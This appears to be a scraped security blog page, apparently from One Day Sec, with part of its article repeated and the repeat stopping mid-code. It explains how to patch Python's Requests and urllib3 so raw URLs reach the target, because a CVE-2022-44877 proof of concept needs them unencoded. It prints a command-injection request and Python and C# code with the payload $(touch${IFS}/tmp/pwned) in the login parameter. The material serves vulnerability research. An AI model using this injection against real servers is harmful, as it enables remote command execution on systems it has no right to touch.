[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f-_cXkL_Yz9mYLhfrPZBeVZCqTHrbNkXZbJA6AaBfCYc":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},1030,"What specific modifications are needed in the Requests and urllib3 libraries to disable URL encoding?","You need to modify two files. First, in `\u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py`, comment out line 443: `url = requote_uri(urlunparse(...))`. Second, in `\u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py`, remove or comment out lines 649–652 that call `_encode_target()` and `parsed_url.url`. These changes prevent the library from re‑encoding the URL before sending the request.","\u003Cp>You need to modify two files. First, in `\u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py`, comment out line 443: `url = requote_uri(urlunparse(...))`. Second, in `\u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py`, remove or comment out lines 649–652 that call `_encode_target()` and `parsed_url.url`. These changes prevent the library from re‑encoding the URL before sending the request.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpython-development-tips-disabling-url-encoding-in-the-requests-library\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-specific-modifications-are-needed-in-the-requests-and-urllib3-libraries-to--1777480726021","requests\u002Fmodels.py, urllib3\u002Fconnectionpool.py, disable URL encoding, library modification, Python",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},252,"Python Development Tips - Disabling URL Encoding in the Requests Library","python-development-tips-disabling-url-encoding-in-the-requests-library","Learn how to disable URL encoding in Python's Requests library for raw HTTP vulnerability testing, with a CVE-2022-44877 example.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>While using the Python Requests library to send HTTP packets, I discovered that the Requests library encodes URLs by default. However, when testing certain vulnerabilities, triggering the vulnerability requires the raw data of the URL, necessitating the disabling of URL encoding functionality. This article will introduce my solution and document the research details.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Test Environment\u003C\u002Fli>\u003Cli>Solution\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Test Environment\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>While researching CVE-2022-44877, I encountered the following situation:\u003C\u002Fp>\u003Cp>The POC for achieving file write is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>POST \u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned) HTTP\u002F1.1\u003Cbr>Host: 10.13.37.10:2031\u003Cbr>Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82\u003Cbr>Content-Length: 40\u003Cbr>Origin: https:\u002F\u002F10.13.37.10:2031\u003Cbr>Content-Type: application\u002Fx-www-form-urlencoded\u003Cbr>User-Agent: Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F103.0.0.0 Safari\u002F537.36\u003Cbr>Accept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\u003Cbr>Referer: https:\u002F\u002F10.13.37.10:2031\u002Flogin\u002Findex.php?login=failed\u003Cbr>Accept-Encoding: gzip, deflate\u003Cbr>Accept-Language: en\u003Cbr>Connection: close\u003Cbr>\u003Cbr>username=root&amp;password=toor&amp;commit=Login\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Based on the POC, we can write the corresponding Python test code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    headers = {\u003Cbr>        \"Cookie\": \"cwpsrv-7ed373abced7574da1245607e756e862=nfetkn56pkkdbqhht2hpl46bsa\",\u003Cbr>        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F103.0.0.0 Safari\u002F537.36\",      \u003Cbr>        \"Accept\": \"text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\",\u003Cbr>        \"Accept-Encoding\": \"gzip, deflate, br\",\u003Cbr>        \"Accept-Language\": \"en-US,en;q=0.9\",\u003Cbr>    }\u003Cbr>\u003Cbr>    proxies = {\u003Cbr>   'http': 'http:\u002F\u002F127.0.0.1:8080',\u003Cbr>   'https': 'http:\u002F\u002F127.0.0.1:8080',\u003Cbr>    }\u003Cbr>    url = target_url + \"\u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned)\"\u003Cbr>    data = \"username=root&amp;password=toor&amp;commit=Login\"\u003Cbr>    response = requests.post(url=url,  headers=headers, data=data, verify=False, timeout=500, proxies=proxies)\u003Cbr>    print(response.status_code)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For testing purposes, the Python test code adds a proxy when sending POST data, allowing us to observe the actual content sent using BurpSuite, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015138197_0_e722ddc233.png\">\u003C\u002Fp>\u003Cp>We can observe that the URL here has been encoded. The original data: \u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned) was encoded to \u002Flogin\u002Findex.php?login=$(touch$%7BIFS%7D\u002Ftmp\u002Fpwned), which would cause the exploit to fail.\u003C\u002Fp>\u003Ch2>0x03 Solution\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After some searching, I did not find a publicly available solution, so I decided to examine the details of the Requests library. By modifying the implementation code of the Requests library, I removed the URL encoding functionality.\u003C\u002Fp>\u003Cp>The location of the Python Requests library code on Kali is \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002F. Specifically, the following two locations need to be modified:\u003C\u002Fp>\u003Ch3>1. \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py\u003C\u002Fh3>\u003Cp>In the function def prepare_url(self, url, params) in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py, the code details are:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Line 443:        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To view the specific implementation code of requote_uri(), the location is: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Futils.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def requote_uri(uri):\u003Cbr>    \"\"\"Re-quote the given URI.\u003Cbr>\u003Cbr>    This function passes the given URI through an unquote\u002Fquote cycle to\u003Cbr>    ensure that it is fully and consistently quoted.\u003Cbr>\u003Cbr>    :rtype: str\u003Cbr>    \"\"\"\u003Cbr>    safe_with_percent = \"!#$%&amp;'()*+,\u002F:;=?@[]~\"\u003Cbr>    safe_without_percent = \"!#$&amp;'()*+,\u002F:;=?@[]~\"\u003Cbr>    try:\u003Cbr>        # Unquote only the unreserved characters\u003Cbr>        # Then quote only illegal characters (do not quote reserved,\u003Cbr>        # unreserved, or '%')\u003Cbr>        return quote(unquote_unreserved(uri), safe=safe_with_percent)\u003Cbr>    except InvalidURL:\u003Cbr>        # We couldn't unquote the given URI, so let's try quoting it, but\u003Cbr>        # there may be unquoted '%'s in the URI. We need to make sure they're\u003Cbr>        # properly quoted so they do not cause issues elsewhere.\u003Cbr>        return quote(uri, safe=safe_without_percent)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here the quote() function is called to encode the uri, { is encoded as %7B, } is encoded as %7D\u003C\u002Fp>\u003Ch4>Solution:\u003C\u002Fh4>\u003Cp>Modify the file \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py\u003C\u002Fp>\u003Cp>Comment out Line443: url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))\u003C\u002Fp>\u003Ch3>2.\u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py\u003C\u002Fh3>\u003Cp>In the function def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None) in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fadapters.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>        try:\u003Cbr>            if not chunked:\u003Cbr>                resp = conn.urlopen(\u003Cbr>                    method=request.method,\u003Cbr>                    url=url,\u003Cbr>                    body=request.body,\u003Cbr>                    headers=request.headers,\u003Cbr>                    redirect=False,\u003Cbr>                    assert_same_host=False,\u003Cbr>                    preload_content=False,\u003Cbr>                    decode_content=False,\u003Cbr>                    retries=self.max_retries,\u003Cbr>                    timeout=timeout,\u003Cbr>                )\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View the specific implementation code of urlopen(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    def urlopen(\u003Cbr>        self,\u003Cbr>        method,\u003Cbr>        url,\u003Cbr>        body=None,\u003Cbr>        headers=None,\u003Cbr>        retries=None,\u003Cbr>        redirect=True,\u003Cbr>        assert_same_host=True,\u003Cbr>        timeout=_Default,\u003Cbr>        pool_timeout=None,\u003Cbr>        release_conn=None,\u003Cbr>        chunked=False,\u003Cbr>        body_pos=None,\u003Cbr>        **response_kw\u003Cbr>    ):\u003Cbr>        # Ensure that the URL we're connecting to is properly encoded\u003Cbr>        if url.startswith(\"\u002F\"):\u003Cbr>            url = six.ensure_str(_encode_target(url))\u003Cbr>        else:\u003Cbr>            url = six.ensure_str(parsed_url.url)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View the specific implementation code of _encode_target(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Futil\u002Furl.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def _encode_target(target):\u003Cbr>    \"\"\"Percent-encodes a request target so that there are no invalid characters\"\"\"\u003Cbr>    path, query = TARGET_RE.match(target).groups()\u003Cbr>    target = _encode_invalid_chars(path, PATH_CHARS)\u003Cbr>    query = _encode_invalid_chars(query, QUERY_CHARS)\u003Cbr>    if query is not None:\u003Cbr>        target += \"?\" + query\u003Cbr>    return target\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View the specific implementation code of parsed_url(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Futil\u002Furl.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def parse_url(url):\u003Cbr>        if normalize_uri and query:\u003Cbr>            query = _encode_invalid_chars(query, QUERY_CHARS)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Both of the above parts ultimately point to _encode_invalid_chars(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Futil\u002Furl.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def _encode_invalid_chars(component, allowed_chars, encoding=\"utf-8\"):\u003Cbr>    \"\"\"Percent-encodes a URI component without reapplying\u003Cbr>    onto an already percent-encoded component.\u003Cbr>    \"\"\"\u003Cbr>    if component is None:\u003Cbr>        return component\u003Cbr>\u003Cbr>    component = six.ensure_text(component)\u003Cbr>\u003Cbr>    # Normalize existing percent-encoded bytes.\u003Cbr>    # Try to see if the component we're encoding is already percent-encoded\u003Cbr>    # so we can skip all '%' characters but still encode all others.\u003Cbr>    component, percent_encodings = PERCENT_RE.subn(\u003Cbr>        lambda match: match.group(0).upper(), component\u003Cbr>    )\u003Cbr>\u003Cbr>    uri_bytes = component.encode(\"utf-8\", \"surrogatepass\")\u003Cbr>    is_percent_encoded = percent_encodings == uri_bytes.count(b\"%\")\u003Cbr>    encoded_component = bytearray()\u003Cbr>\u003Cbr>    for i in range(0, len(uri_bytes)):\u003Cbr>        # Will return a single character bytestring on both Python 2 &amp; 3\u003Cbr>        byte = uri_bytes[i : i + 1]\u003Cbr>        byte_ord = ord(byte)\u003Cbr>        if (is_percent_encoded and byte == b\"%\") or (\u003Cbr>            byte_ord &lt; 128 and byte.decode() in allowed_chars\u003Cbr>        ):\u003Cbr>            encoded_component += byte\u003Cbr>            continue\u003Cbr>        encoded_component.extend(b\"%\" + (hex(byte_ord)[2:].encode().zfill(2).upper()))\u003Cbr>\u003Cbr>    return encoded_component.decode(encoding)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here, _encode_invalid_chars() is called to encode the URL\u003C\u002Fp>\u003Ch4>Solution:\u003C\u002Fh4>\u003Cp>Modify the file \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py\u003C\u002Fp>\u003Cp>Remove the following code in urlopen():\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Line649        if url.startswith(\"\u002F\"):\u003Cbr>Line650            url = six.ensure_str(_encode_target(url))\u003Cbr>Line651        else:\u003Cbr>Line652            url = six.ensure_str(parsed_url.url)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Observe the actual content sent again using BurpSuite, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015141800_1_869f41a6f1.png\">\u003C\u002Fp>\u003Cp>URL not encoded, issue resolved\u003C\u002Fp>\u003Ch2>0x04 Solution 2\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Here, C# can also be used to implement sending POST data, avoiding URL encoding. The implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>                String target = args[0] + \"\u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned)\";\u003Cbr>                bool dontEscape = true;\u003Cbr>                var url = new Uri(target, dontEscape);\u003Cbr>                HttpWebRequest hwr = WebRequest.Create(url) as HttpWebRequest;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of disabling URL encoding by modifying the Python Requests library, and also provides the implementation code for disabling URL encoding in C#, documenting the research details.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>While using the Python Requests library to send HTTP packets, I discovered that the Requests library encodes URLs by default. However, when testing certain vulnerabilities, triggering the vulnerability requires the raw data of the URL, necessitating the disabling of URL encoding functionality. This article will introduce my solution and document the research details.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Test Environment\u003C\u002Fli>\u003Cli>Solution\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Test Environment\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>While researching CVE-2022-44877, I encountered the following situation:\u003C\u002Fp>\u003Cp>The POC for achieving file write is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>POST \u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned) HTTP\u002F1.1\u003Cbr>Host: 10.13.37.10:2031\u003Cbr>Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82\u003Cbr>Content-Length: 40\u003Cbr>Origin: https:\u002F\u002F10.13.37.10:2031\u003Cbr>Content-Type: application\u002Fx-www-form-urlencoded\u003Cbr>User-Agent: Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F103.0.0.0 Safari\u002F537.36\u003Cbr>Accept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\u003Cbr>Referer: https:\u002F\u002F10.13.37.10:2031\u002Flogin\u002Findex.php?login=failed\u003Cbr>Accept-Encoding: gzip, deflate\u003Cbr>Accept-Language: en\u003Cbr>Connection: close\u003Cbr>\u003Cbr>username=root&amp;password=toor&amp;commit=Login\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Based on the POC, we can write the corresponding Python test code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    headers = {\u003Cbr>        \"Cookie\": \"cwpsrv-7ed373abced7574da1245607e756e862=nfetkn56pkkdbqhht2hpl46bsa\",\u003Cbr>        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F103.0.0.0 Safari\u002F537.36\",      \u003Cbr>        \"Accept\": \"text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\",\u003Cbr>        \"Accept-Encoding\": \"gzip, deflate, br\",\u003Cbr>        \"Accept-Language\": \"en-US,en;q=0.9\",\u003Cbr>    }\u003Cbr>\u003Cbr>    proxies = {\u003Cbr>   'http': 'http:\u002F\u002F127.0.0.1:8080',\u003Cbr>   'https': 'http:\u002F\u002F127.0.0.1:8080',\u003Cbr>    }\u003Cbr>    url = target_url + \"\u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned)\"\u003Cbr>    data = \"username=root&amp;password=toor&amp;commit=Login\"\u003Cbr>    response = requests.post(url=url,  headers=headers, data=data, verify=False, timeout=500, proxies=proxies)\u003Cbr>    print(response.status_code)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For testing purposes, the Python test code adds a proxy when sending POST data, allowing us to observe the actual content sent using BurpSuite, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015138197_0_e722ddc233-1.png\">\u003C\u002Fp>\u003Cp>We can observe that the URL here has been encoded. The original data: \u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned) was encoded to \u002Flogin\u002Findex.php?login=$(touch$%7BIFS%7D\u002Ftmp\u002Fpwned), which would cause the exploit to fail.\u003C\u002Fp>\u003Ch2>0x03 Solution\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After some searching, I did not find a publicly available solution, so I decided to examine the details of the Requests library. By modifying the implementation code of the Requests library, I removed the URL encoding functionality.\u003C\u002Fp>\u003Cp>The location of the Python Requests library code on Kali is \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002F. Specifically, the following two locations need to be modified:\u003C\u002Fp>\u003Ch3>1. \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py\u003C\u002Fh3>\u003Cp>In the function def prepare_url(self, url, params) in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py, the code details are:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Line 443:        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To view the specific implementation code of requote_uri(), the location is: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Futils.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def requote_uri(uri):\u003Cbr>    \"\"\"Re-quote the given URI.\u003Cbr>\u003Cbr>    This function passes the given URI through an unquote\u002Fquote cycle to\u003Cbr>    ensure that it is fully and consistently quoted.\u003Cbr>\u003Cbr>    :rtype: str\u003Cbr>    \"\"\"\u003Cbr>    safe_with_percent = \"!#$%&amp;'()*+,\u002F:;=?@[]~\"\u003Cbr>    safe_without_percent = \"!#$&amp;'()*+,\u002F:;=?@[]~\"\u003Cbr>    try:\u003Cbr>        # Unquote only the unreserved characters\u003Cbr>        # Then quote only illegal characters (do not quote reserved,\u003Cbr>        # unreserved, or '%')\u003Cbr>        return quote(unquote_unreserved(uri), safe=safe_with_percent)\u003Cbr>    except InvalidURL:\u003Cbr>        # We couldn't unquote the given URI, so let's try quoting it, but\u003Cbr>        # there may be unquoted '%'s in the URI. We need to make sure they're\u003Cbr>        # properly quoted so they do not cause issues elsewhere.\u003Cbr>        return quote(uri, safe=safe_without_percent)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here the quote() function is called to encode the uri, { is encoded as %7B, } is encoded as %7D\u003C\u002Fp>\u003Ch4>Solution:\u003C\u002Fh4>\u003Cp>Modify the file \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fmodels.py\u003C\u002Fp>\u003Cp>Comment out Line443: url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))\u003C\u002Fp>\u003Ch3>2.\u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py\u003C\u002Fh3>\u003Cp>In the function def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None) in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Frequests\u002Fadapters.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>        try:\u003Cbr>            if not chunked:\u003Cbr>                resp = conn.urlopen(\u003Cbr>                    method=request.method,\u003Cbr>                    url=url,\u003Cbr>                    body=request.body,\u003Cbr>                    headers=request.headers,\u003Cbr>                    redirect=False,\u003Cbr>                    assert_same_host=False,\u003Cbr>                    preload_content=False,\u003Cbr>                    decode_content=False,\u003Cbr>                    retries=self.max_retries,\u003Cbr>                    timeout=timeout,\u003Cbr>                )\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View the specific implementation code of urlopen(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    def urlopen(\u003Cbr>        self,\u003Cbr>        method,\u003Cbr>        url,\u003Cbr>        body=None,\u003Cbr>        headers=None,\u003Cbr>        retries=None,\u003Cbr>        redirect=True,\u003Cbr>        assert_same_host=True,\u003Cbr>        timeout=_Default,\u003Cbr>        pool_timeout=None,\u003Cbr>        release_conn=None,\u003Cbr>        chunked=False,\u003Cbr>        body_pos=None,\u003Cbr>        **response_kw\u003Cbr>    ):\u003Cbr>        # Ensure that the URL we're connecting to is properly encoded\u003Cbr>        if url.startswith(\"\u002F\"):\u003Cbr>            url = six.ensure_str(_encode_target(url))\u003Cbr>        else:\u003Cbr>            url = six.ensure_str(parsed_url.url)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View the specific implementation code of _encode_target(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Futil\u002Furl.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def _encode_target(target):\u003Cbr>    \"\"\"Percent-encodes a request target so that there are no invalid characters\"\"\"\u003Cbr>    path, query = TARGET_RE.match(target).groups()\u003Cbr>    target = _encode_invalid_chars(path, PATH_CHARS)\u003Cbr>    query = _encode_invalid_chars(query, QUERY_CHARS)\u003Cbr>    if query is not None:\u003Cbr>        target += \"?\" + query\u003Cbr>    return target\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View the specific implementation code of parsed_url(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Futil\u002Furl.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def parse_url(url):\u003Cbr>        if normalize_uri and query:\u003Cbr>            query = _encode_invalid_chars(query, QUERY_CHARS)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Both of the above parts ultimately point to _encode_invalid_chars(), location: \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Futil\u002Furl.py, code details:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def _encode_invalid_chars(component, allowed_chars, encoding=\"utf-8\"):\u003Cbr>    \"\"\"Percent-encodes a URI component without reapplying\u003Cbr>    onto an already percent-encoded component.\u003Cbr>    \"\"\"\u003Cbr>    if component is None:\u003Cbr>        return component\u003Cbr>\u003Cbr>    component = six.ensure_text(component)\u003Cbr>\u003Cbr>    # Normalize existing percent-encoded bytes.\u003Cbr>    # Try to see if the component we're encoding is already percent-encoded\u003Cbr>    # so we can skip all '%' characters but still encode all others.\u003Cbr>    component, percent_encodings = PERCENT_RE.subn(\u003Cbr>        lambda match: match.group(0).upper(), component\u003Cbr>    )\u003Cbr>\u003Cbr>    uri_bytes = component.encode(\"utf-8\", \"surrogatepass\")\u003Cbr>    is_percent_encoded = percent_encodings == uri_bytes.count(b\"%\")\u003Cbr>    encoded_component = bytearray()\u003Cbr>\u003Cbr>    for i in range(0, len(uri_bytes)):\u003Cbr>        # Will return a single character bytestring on both Python 2 &amp; 3\u003Cbr>        byte = uri_bytes[i : i + 1]\u003Cbr>        byte_ord = ord(byte)\u003Cbr>        if (is_percent_encoded and byte == b\"%\") or (\u003Cbr>            byte_ord &lt; 128 and byte.decode() in allowed_chars\u003Cbr>        ):\u003Cbr>            encoded_component += byte\u003Cbr>            continue\u003Cbr>        encoded_component.extend(b\"%\" + (hex(byte_ord)[2:].encode().zfill(2).upper()))\u003Cbr>\u003Cbr>    return encoded_component.decode(encoding)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here, _encode_invalid_chars() is called to encode the URL\u003C\u002Fp>\u003Ch4>Solution:\u003C\u002Fh4>\u003Cp>Modify the file \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages\u002Furllib3\u002Fconnectionpool.py\u003C\u002Fp>\u003Cp>Remove the following code in urlopen():\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Line649        if url.startswith(\"\u002F\"):\u003Cbr>Line650            url = six.ensure_str(_encode_target(url))\u003Cbr>Line651        else:\u003Cbr>Line652            